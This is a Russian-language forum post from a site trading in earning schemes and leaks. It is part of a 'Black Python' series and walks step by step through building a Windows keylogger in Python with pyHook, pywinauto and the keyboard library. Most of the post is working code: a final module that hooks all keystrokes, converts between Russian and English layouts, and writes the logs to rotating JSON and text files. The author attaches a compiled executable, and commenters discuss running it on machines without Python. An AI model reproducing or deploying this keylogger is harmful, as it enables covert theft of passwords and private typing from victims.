• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Black Python - 7. Keylogger

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Ave, киберсообщество.

Настало время выйти в свет 7 части цикла статей Black Python. На этот раз я расскажу, как сделать модуль кейлоггера. Он является обособленным от остальных модулей - профита с использования в связке с уже написанным module_manager'ем я не вижу.
bp_keylogger.jpg
При создании кейлоггера я столкнулся с некоторыми трудностями. Предлагаю фрегатом пройтись по волнам моего пути, дабы дать вам пищу для размышлений в тех частях кода, которые не вошли в финальную версию модуля - возможно, кому-то будет полезно.

Часть первая. PyHook.

При изучении реализаций перехвата нажатий клавиш, первым в поисковом запросе мне попался PyHook. Я некогда уже работал с этим модулем, поэтому сразу приступил к разработке keylogger'а.
Через стандартный путь установки дополнительных модулей подключить модуль PyHook не удается, поэтому сразу идем на сайт:
https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
Скачиваем модуль, подходящий для вашей системы в папку с проектом:
  • pyHook‑1.5.1‑cp37‑cp37m‑win32.whl
  • pyHook‑1.5.1‑cp37‑cp37m‑win_amd64.whl

В терминале PyCharm'а устанавливаем скачанную библиотеку в виртуальное окружение через pip, например:
pip install pyHook‑1.5.1‑cp37‑cp37m‑win_amd64.whl

Следом установим знакомую по прошлым статьям библиотеку pywin32:
pip install pywin32

Основной механизм перехвата клавиш выглядит так:
Python:
import pyHook
import pythoncom

# функция для обработки перехваченных событий
def key_event(event):
    # пакуем интересующие параметры в структуру
    key = {'key': event.Key, 'key_id': event.KeyID, 'ascii': event.Ascii, 'char': chr(event.Ascii),
           'window': event.WindowName}
    # выводим на экран
    print(key)
    # заканчиваем обработку (если False, то нажатие клавиши не будет учитываться)
    return True

def main():
    # Инициализируем HookManager
    hook = pyHook.HookManager()
    # Перенаправляем поток через нашу функцию key_event
    hook.KeyDown = key_event
    # подрубаем клавиатурные хуки
    hook.HookKeyboard()
    # получаем сообщения от системы
    pythoncom.PumpMessages()

if __name__ == '__main__':
    main()

В результате у нас будет выведена на экран подобная структура:
v{'key': 'V', 'key_id': 86, 'ascii': 1084, 'char': 'м', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
l{'key': 'L', 'key_id': 76, 'ascii': 1076, 'char': 'д', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
m{'key': 'M', 'key_id': 77, 'ascii': 1100, 'char': 'ь', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}
i{'key': 'I', 'key_id': 73, 'ascii': 1096, 'char': 'ш', 'window': 'article_keylogger [C:\\Users\\Gh0stage\\Desktop\\articles\\article_keylogger] - ...\\sandbox.py [article_keylogger] - PyCharm (Administrator)'}

'key' - английское представление нажатой клавиши
'key_id' - машинное представление
'ascii' - код символа
'char' - преобразованный в символ ascii код
'window' - окно, в котором считано нажатие

Как видим, регистр не учитывается(язык, к слову, тоже).

Теперь обработаем выход из программы. Установим библиотеку win32api:
pip install pypiwin32
Python:
import win32api

# В key_event добавим:
if key['key'] == 'Escape':
    win32api.PostQuitMessage()

В итоге у нас готова реализация вывода на экран всех клавиш, а при нажатии на escape происходит выход. Соберем наработки в класс:
Python:
import pyHook
import pythoncom
import win32api

# класс по сбору нажатий клавиш
class KeyCollectionPyHook:
    def __init__(self):
        # список всех нажатых клавиш
        self.keys = []
        # инициализируем HookManager
        self.hook = pyHook.HookManager()

    # добавляем тригер на каждое нажатие (понадобится позже)
    def new_key_trigger(self, key):
        pass

    # функция обабатывающая нажатия
    def key_event(self, *args):
        try:
            # пробуем обработать нажатие
            event = args[0]
            key = {'key': event.Key, 'key_id': event.KeyID, 'ascii': event.Ascii, 'char': chr(event.Ascii), 'window': event.WindowName}
            # добавляем структуру в список
            self.add_key(key)
            # вызываем триггер
            self.new_key_trigger(key)
            return True
        except:
            # игнорируем клавишу в случае ошибки
            return True

    # добавление в список
    def add_key(self, key):
        # если нажата специальная клавиша, помещаем ее в []
        if len(key['key']) > 1:
            key['key'] = f"[{key['key']}]"
        self.keys.append(key)

    # запуск механизма по сбору
    def start(self):
        # назначаем функцию обработки на нажатие
        self.hook.KeyDown = self.key_event
        # 'прослушиваем' клавиатуру
        self.hook.HookKeyboard()
        # получаем сообщения
        pythoncom.PumpMessages()

    # остановка механизма по сбору
    @staticmethod
    def stop():
        win32api.PostQuitMessage()

Все нажатые клавиши будут копиться в списке keys. Но для кейлоггер модуля этого недостаточно, поэтому класс называется коллекционером. Пример работы с колекцией:
Python:
def on_key_down(key):
    simple_log(key)
    save_condition()
    exit_condition(key)

def simple_log(key, filename='keylogger.txt'):
    with open(filename, 'a', encoding='windows-1251') as txt_file:
        txt_file.write(str(key['key']))

def save_condition(filename='keylogger.json', limit=100):
    if len(key_collection.keys) == limit:
        with open(filename, 'w') as key_file:
            json.dump(key_collection.keys, key_file)
        key_collection.keys = []

def exit_condition(key):
    if key['key'] == '[End]':
        key_collection.stop()
        save_condition()

def main():
    global key_collection
    key_collection = KeyCollectionPyHook()
    key_collection.new_key_trigger = on_key_down
    key_collection.start()

if __name__ == '__main__':
    main()

В итоге каждое нажатие будет логгироваться в файл txt(simple_log), а каждые limit символов у нас будет вестись json учет(save_condition). Уже больше похоже на кейлоггер, однако, файл json периодически будет заменяться на очередные limit клавиш. Обернем методы в класс KeyLogger и добавим возможность вести учет в несколько файлов.
Python:
# класс для сохранения списков KeyCollection
class KeyLogger:
    def __init__(self, filename, limit, replace_part, on_save=None):
        # оригинальное имя файла для simple_log()
        self.filename = filename
        # часть имени файла под замену на очередную порцию символов
        self.replace_part = replace_part
        # номер порции
        self.chapter = 0
        # размер порции
        self.limit = limit
        # триггер срабатывающий при сохраении (потребуется далее)
        if on_save:
            self.trigger_on_save = on_save
        # Экземпляр класса созданного выше
        self.key_collection = KeyCollectionPyHook()

    # триггер при сохранении
    @staticmethod
    def trigger_on_save(self):
        pass

    # настройка и запуск колекции
    def configure_and_start(self):
        self.key_collection.new_key_trigger = self.on_key_down
        self.key_collection.start()

    # инструкции при нажатии клавиши
    def on_key_down(self, key):
        self.simple_log(key)
        self.save_condition()
        self.exit_condition(key)

    # логгирование каждого символа в файл
    def simple_log(self, key):
        with open(self.filename, 'a', encoding='windows-1251') as txt_file:
            txt_file.write(str(key['key']))

    # прверка условия сохранения(достижение лимита)
    def save_condition(self):
        if len(self.get_keys()) == self.limit:
            self.save_engine()
            self.trigger_on_save()

    # сохранение колекции
    def save_engine(self):
        if len(self.get_keys()) > 0:
            # генерация имени файла для очередной порции
            self.save_key_dict(self.change_name(self.filename, self.chapter))
            self.chapter += 1
            self.clear_keys()

    # получение нового имени файла (замена replace_part на номер порции)
    def change_name(self, filename, chapter):
        return filename.replace(self.replace_part, str(chapter)) if self.replace_part in filename else filename

    # дамп колекции
    def save_key_dict(self, filename):
        with open(filename, 'w') as key_file:
            json.dump(self.get_keys(), key_file)

    # проверка условия выхода из программы (клавиша end)
    def exit_condition(self, key):
        if key['key'] == '[End]':
            self.exit_engine()

    # остановка коллекционирования и сохранение последней порции
    def exit_engine(self):
        self.key_collection.stop()
        self.save_engine()

    def get_keys(self):
        return self.key_collection.keys

    def clear_keys(self):
        self.key_collection.keys = []

def main():
    key_logger = KeyLogger('key_num.json', 10, 'num')
    key_logger.configure_and_start()

if __name__ == '__main__':
    try:
        main()
    except:
        pass

На этом модуль кейлоггера можно было бы заканчивать, однако на этом этапе я заметил, что учет клавиш не ведется в браузере или блокноте (нажатия регистрировались в папке или в PyCharm'е). Разумеется, это никуда не годится, и я начал искать другие возможности реализации.

Часть вторая. PyWinAuto.

В поиске решения проблемы или альтернативы я наткнулся на модуль PyWinAuto. Он довольно-таки интересный, однако, не без минусов. Например, те же отсутствие регистра и смены языка(в любой раскладке латиница). Набросав функции взаимодействия с модулем, я получил код:
pip install pywinauto
Python:
from pywinauto.win32_hooks import Hook, KeyboardEvent, MouseEvent
import pythoncom

# функция при событии клавиатуры или мыши
def on_event(args):
    # если событие клавиатурное
    if isinstance(args, KeyboardEvent):
        # при нажатии на кнопку
        if args.event_type == 'key down':
            # вывести на экран текущую клавишу и зажатую комбинацию клавиш без повторений 
            # если зажать клавишу, то список (почему-то) не очищается даже со временем
            key = {'key': args.current_key, 'pressed': set(args.pressed_key)}
            print(key)
    # если событие мыши
    if isinstance(args, MouseEvent):
        if args.event_type == 'key down':
            # показать какой кнопкой надавили в какой точке экрана
            print(args.event_type, args.current_key, f'({args.mouse_x}, {args.mouse_y})')

def main():
    # загружаем хуки
    hk = Hook()
    # назначаем функцию обработчика
    hk.handler = on_event
    # подключаем клавиатуру и мышь
    hk.hook(keyboard=True, mouse=True)
    # ждем сообщения
    pythoncom.PumpMessages()

if __name__ == '__main__':
    main()

Нажатия действуют в любой программе, поэтому модуль занимает в рейтинге хуков место выше, чем PyHook. Можно было бы адаптировать эти методы под класс колекции, но я решил поискать еще варианты и встретил модуль Keyboard.

Часть третья. Keyboard. Финал.
О модуле до этого уже слышал, но пользоваться не приходилось. Можете ознакомиться с ним (https://github.com/boppreh/keyboard), то, что я буду сейчас с ним делать - малая часть его возможностей. Взаимодействие с модулем в наших целях выглядит так:
pip install keyboard
Python:
import keyboard

def key_event(e):
    print(e.event_type, e.name)
    # остановка модуля
    # keyboard.unhook_all()

def main():
    keyboard.hook(key_event)
    keyboard.wait()

if __name__ == '__main__':
    main()

Вот так вот просто. Смена раскладки клавиатуры не влияет на e.name, но регистр клавиши учитывается. Что же, давайте своими силами решим проблему с раскладкой, добавив функцию:
Python:
def get_alternate(key):
    # значения клавиш английской и русской раскладки
    eng = "~!@#$%^&*()_+qwertyuiop[]asdfghjkl;'zxcvbnm,./"
    rus = "ё!\"№;%:?*()_+йцукенгшщзхъфывапролджэячсмитьбю."
    # запоминаем состояние регистра относительно нижнего
    state = key.islower()
    # формируем словарь для операции повышения, понижения регистра
    alternate_state = {True: lambda x: x.lower(), False: lambda x: x.upper()}
    # понижаем регистр для попадания клавиши в выборку
    key = key.lower()
    # проверяем в какой выборке находится символ
    if key in rus:
        # меняем на ту же клавишу в другой раскладке
        return alternate_state[state](eng[rus.index(key)])
    elif key in eng:
        return alternate_state[state](rus[eng.index(key)])
    else:
        # если не нашли(например специальная клавиша) то сообщаем, что альтернатива не требуется
        return None

def key_event(e):
    # обрабатываем клавиши при нажатии
    if e.event_type == 'down':
        key = e.name
        # формируем структуру с альтернативой
        key = {'key': key, 'alternate': get_alternate(key)}
        print(key)

Отлично! С этим можно работать. Адаптируем KeyCollection под keyboard и подведем итоги.

Модуль целиком(с менеджером и загрузкой конфига):
Код:
import json
import keyboard
from additional import make_folders


class KeyCollectionKeyboard:
    def __init__(self):
        self.keys = []
        self.hook = None

    def new_key_trigger(self, key):
        pass

    def key_event(self, e):
        if e.event_type == 'down':
            key = e.name
            key = {'key': key, 'alternate': KeyCollectionKeyboard.get_alternate(key)}
            self.add_key(key)

    def add_key(self, key):
        if len(key['key']) > 1:
            key['key'] = f"[{key['key']}]"
        self.keys.append(key)
        self.new_key_trigger(key)

    def start(self):
        self.hook = keyboard.hook(self.key_event)
        keyboard.wait()

    @staticmethod
    def get_alternate(key):
        eng = "~!@#$%^&*()_+qwertyuiop[]asdfghjkl;'zxcvbnm,./"
        rus = "ё!\"№;%:?*()_+йцукенгшщзхъфывапролджэячсмитьбю."
        state = key.islower()
        alternate_state = {True: lambda x: x.lower(), False: lambda x: x.upper()}
        key = key.lower()
        if key in rus:
            return alternate_state[state](eng[rus.index(key)])
        elif key in eng:
            return alternate_state[state](rus[eng.index(key)])
        else:
            return None

    @staticmethod
    def stop():
        keyboard.unhook_all()


class KeyLogger:
    def __init__(self, filename, limit, replace_part, on_save=None):
        self.filename = filename
        self.replace_part = replace_part
        self.limit = limit
        self.chapter = 0
        if on_save:
            self.trigger_on_save = on_save
        self.key_collection = KeyCollectionKeyboard()

    @staticmethod
    def trigger_on_save():
        pass

    def configure_and_start(self):
        self.key_collection.new_key_trigger = self.on_key_down
        self.key_collection.start()

    def on_key_down(self, key):
        self.simple_log(key)
        self.save_condition()
        self.exit_condition(key)

    def simple_log(self, key):
        with open(self.filename, 'a', encoding='windows-1251') as txt_file:
            txt_file.write(str(key['key']))
        # будем вести лог и для альтернативных нажатий
        with open(self.filename.replace(self.replace_part, 'alt'), 'a', encoding='windows-1251') as txt_file:
            if not key['alternate']:
                txt_file.write(str(key['key']))
            else:
                txt_file.write(str(key['alternate']))

    def save_condition(self):
        if len(self.get_keys()) == self.limit:
            self.save_engine()
            self.trigger_on_save()

    def save_engine(self):
        if len(self.get_keys()) > 0:
            self.save_key_dict(self.change_name(self.filename, self.chapter))
            self.chapter += 1
            self.clear_keys()

    def save_key_dict(self, filename):
        with open(filename, 'w') as key_file:
            json.dump(self.get_keys(), key_file)

    def change_name(self, filename, chapter):
        return filename.replace(self.replace_part, str(chapter)) if self.replace_part in filename else filename

    def exit_condition(self, key):
        if key['key'] == '[end]':
            self.exit_engine()

    def exit_engine(self):
        self.key_collection.stop()
        self.save_engine()

    def get_keys(self):
        return self.key_collection.keys

    def clear_keys(self):
        self.key_collection.keys = []


def key_logger_manager(config, on_save=None):
    make_folders(config['filename'])
    key_logger = KeyLogger(config['filename'], config['limit'], config['replace_part'], on_save)
    key_logger.configure_and_start()


if __name__ == '__main__':
    try:
        with open('config.json', 'r') as config_file:
            key_config = json.load(config_file)
        key_logger_manager(key_config)
    except Exception as e:
        print(e)

Код:
{
  "filename": "key_logs\\keylogger_num.json",
  "replace_part": "num",
  "limit": 25
}
Код:
[
  {
    "key": "[shift]",
    "alternate": null
  },
  {
    "key": "\u041f",
    "alternate": "G"
  },
  {
    "key": "\u0440",
    "alternate": "h"
  },
  {
    "key": "\u0438",
    "alternate": "b"
  },
  {
    "key": "\u0432",
    "alternate": "d"
  },
  {
    "key": "\u0435",
    "alternate": "t"
  },
  {
    "key": "\u0442",
    "alternate": "n"
  },
  {
    "key": "[space]",
    "alternate": null
  },
  {
    "key": "[shift]",
    "alternate": null
  },
  {
    "key": "[alt]",
    "alternate": null
  },
  {
    "key": "[caps lock]",
    "alternate": null
  },
  {
    "key": "[caps lock]",
    "alternate": null
  },
  {
    "key": "[caps lock]",
    "alternate": null
  },
  {
    "key": "\u041c",
    "alternate": "V"
  },
  {
    "key": "\u0414",
    "alternate": "L"
  },
  {
    "key": "\u042c",
    "alternate": "M"
  },
  {
    "key": "\u0428",
    "alternate": "I"
  },
  {
    "key": "[shift]",
    "alternate": null
  },
  {
    "key": "!",
    "alternate": "!"
  },
  {
    "key": "[space]",
    "alternate": null
  },
  {
    "key": "[shift]",
    "alternate": null
  },
  {
    "key": "\u0436",
    "alternate": ";"
  },
  {
    "key": ")",
    "alternate": ")"
  },
  {
    "key": "[enter]",
    "alternate": null
  },
  {
    "key": "0",
    "alternate": null
  }
]
[shift]Ghbdtn[space][shift][alt][caps lock][caps lock][caps lock]VLMI[shift]![space][shift];)[enter]000000000
[shift]Привет[space][shift][alt][caps lock][caps lock][caps lock]МДЬШ[shift]![space][shift]ж)[enter]000000000

Как видим, при некоторых трудностях, можно не переписывать программы целиком, а заменить несколько строчек кода. Для этого всего лишь достаточно писать интерфейсы, а не конкретные реализации, а также разграничивать функционал по классам. В данной статье мы написали неплохую заготовку кейлоггера, однако, очень скоро вас ждет очередная статья, в которой создадим полноценный прокаченный keylogger на основе этого.

Результаты в виде исходников (all и final версии) и исполняемого файла(final) с конфигом прикладываю.
 

Вложения

  • keylogger_exe.zip
    5,2 MB · Просмотры: 292
  • keylogger_source_all.zip
    5,1 KB · Просмотры: 171
  • keylogger_source_final.zip
    1,9 KB · Просмотры: 176
Последнее редактирование:

guyfox

Новичок
Сообщения
9
Реакции
0
0 руб.
есть зависимость от питона? например если запущу на пк где нет питона будет работать?
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
есть зависимость от питона? например если запущу на пк где нет питона будет работать?
конечно есть и от питона и от модулей которых нет в стандартной сборке. Поэтому запускать можно уже собранный exe.
 
Сверху Снизу